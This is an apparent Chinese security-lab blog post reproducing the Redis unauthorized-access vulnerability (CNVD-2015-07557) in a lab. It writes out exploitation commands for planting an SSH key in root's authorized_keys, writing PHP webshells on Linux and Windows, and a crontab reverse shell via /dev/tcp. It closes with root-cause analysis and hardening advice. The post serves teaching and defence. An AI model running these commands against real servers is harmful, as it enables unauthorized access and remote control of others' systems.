暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Redis未授权访问漏洞复现

破军安全实验室 2021-12-29
3563

破军安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约4250字,阅读约需10分钟。


0x00 环境搭建


    靶机:deepin 192.168.205.138
    攻击机:kali 192.168.205.134

    1、靶机安装redis服务器(redis-server)

    下载redis-4.0.10:

      wget http://download.redis.io/releases/redis-4.0.10.tar.gz



      解压,进入源码目录,然后编译(make、make install)

        tar -zxf redis-4.0.10.tar.gz
        make install


          vim home/lonelyhero/Desktop/redis-4.0.10/redis.conf
          bind 0.0.0.0 ::0

          修改redis配置文件,对外开放服务


            查看防火墙状态:sudoufw status
            提示:Status:active 说明已经成功开启了
            提示:Status:inactive 说明已经关闭成功
            打开防火墙:sudoufw enable
            关闭防火墙:sudoufw disable

            如果开启了防火墙一定要关闭防火墙


            启动服务(redis-server)



            查看是否启动了redis-server服务

              ps -ef |grep redis-server


               

              注:由于redis-4.0.10版本中配置文件默认已经启用了保护,下面将使用redis-2.8.17,重复上面的步骤就行  0.0

              2、攻击机安装redis客户端(redis-cli)

                wget http://download.redis.io/releases/redis-2.8.17.tar.gz

                测试redis客户端是否安装完成,常用命令如下:

                  redis-cli -h192.168.205.138  -a <password>   
                  # 常用命令
                  info
                  keys * # 查看所有key
                  flushall # 删除所有数据
                  del key    # 删除键为key的数据

                    这里密码为空



                  0x01 漏洞详情


                  漏洞描述

                  Redis未授权访问(CNVD-2015-07557)

                  利用Redis在各系统内写文件Getshell

                  可进行文件写入

                  写入密钥文件,使用ssh对称密钥登入系统

                  写入定时任务执行命令

                  写入webshell

                  可提权(root运行redis-server)


                  漏洞利用

                  Goby扫一波端口,也可爆破redis弱口令,发现Redis未授权访问漏洞



                  弱口令工具扫一波,发现弱口令



                  Scanunauthorized.py扫一波也可发现未授权



                  方法1:通过写入SSH公钥实现SSH登录

                  原理:

                  就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

                  首先在攻击机(kali)上生成ssh公钥

                    ssh-keygen -t rsa

                     


                    将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

                      (echo -e"\n";cat id_rsa.pub;echo -e "\n")>key.txt


                       

                      再把key.txt文件内容写入redis缓冲

                        cat/root/.ssh/key.txt |./redis-cli -h 192.168.205.138 -x set pub


                         

                        设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,


                        注意: redis 可以创建文件但无法创建目录,所以,redis待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)



                        当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作

                          # 设置redis的备份路径为/root/.ssh,保存的文件名为authorized_keys
                          config set dir/root/.ssh
                          config set dbfilenameauthorized_keys
                          save
                          # 这里设置目录时,可能存在
                          (error) ERR Changingdirectory: No such file or directory,这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
                          (error) ERR Changingdirectory: Permission denied,说明redis并不是以root启动的,这种此方法就没戏

                           

                          测试是否可以通过ssh登录目标服务器,成功登录



                          方法2:写入webshell

                          利用条件:

                          目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

                          把1.php写入到网站根目录下(/var/www/html/)



                          查看靶机是否写入了1.php文件



                          浏览器访问http://192.168.205.138/1.php,发现在目标靶机成功写入webshell



                          后续可以写入一句话用webshell管理工具进行连接


                          方法3:在crontab里写定时任务,反弹shell

                          这里我的环境做了一下调整

                            攻击者:kali 192.168.205.134
                            靶机:deepin192.168.205.138

                            在客户端开启监听



                            在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell

                              set xxx "\n\n*/1 * * * *
                              /bin/bash -i>&/dev/tcp/192.168.205.138/5555 0>&1\n\n"
                              config set dir var/spool/cron
                              config set dbfilename root
                              save

                               

                              过一分钟左右就可以收到shell

                              这里有很多坑!不同系统、不同软件版本、不同位置的配置文件、配置文件的格式内容都有不同的效果,我这里未反弹成功,步骤是这样的


                              方法4:执行lua代码

                              redis2.6版本推出了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

                              本地写lua脚本

                                vim  hello.lua
                                local msg ="hello,hacker!"
                                return msg


                                利用redis执行脚本(普通原生脚本可执行)

                                  redis-cli --eval "hello.lua" -h 192.168.205.134

                                  学艺不精,太菜了,只晓得可以执行lua命令,这里有兴趣的可以研究一下


                                  思考:如果服务端是windwos系统

                                    靶机:windows10 192.168.1.223
                                    攻击机:deepin 192.168.205.138

                                    以实战操作,首先搭建环境,redis下载:

                                      https://github.com/MicrosoftArchive/redis/releases/download/win-3.2.100/Redis-x64-3.2.100.msi

                                      切换到对应目录,命令行下输入redis-server.exe 运行redis



                                      查看端口6379已经开放,说明Redis启动成功



                                      对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,简单概括一下大致的几种:

                                        1、能够获取web绝对路径的,直接写入webshell
                                        2、写入启动项
                                        3、写入mof、dll劫持等

                                        这里我们演示一下写入webshell

                                          config set dir "E:/phpstudy_pro/WWW"
                                          CONFIG SET dbfilename evil.php
                                          set x "<?php phpinfo();?>"
                                          save



                                          查看靶机是否写入了evil.php文件



                                          访问该文件弹出phpinfo信息



                                          另外,还可以写入启动项,结合msf和cs,有兴趣的可以自行研究,路径为:

                                            C:\Users\whoami\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup

                                            另外推荐Redis图形化管理开源工具

                                              https://github.com/qishibo/AnotherRedisDesktopManager/releases

                                              0x02 漏洞分析


                                              产生原因

                                              Redis默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。


                                              简单说,漏洞的产生条件有以下两点:

                                              (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

                                              (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

                                              0x03 解决方案


                                              1、比较安全的办法是采用绑定IP的方式来进行控制。

                                              在redis.conf文件找到如下配置



                                              把IP改为允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-serverpath/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

                                              2、设置密码,以提供远程登陆

                                              打开redis.conf配置文件,找到requirepass,去掉#,后面foobared就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了:



                                              3、设置防火墙策略。

                                              4、禁止外网访问redis。

                                              5、保证 authorized_keys 文件的安全,权限设置为400,配置immutable权限。



                                               声明

                                                  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

                                                  破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


                                              破军安全实验室

                                              # 长按二维码 关注我们 #



                                              文章转载自破军安全实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                              评论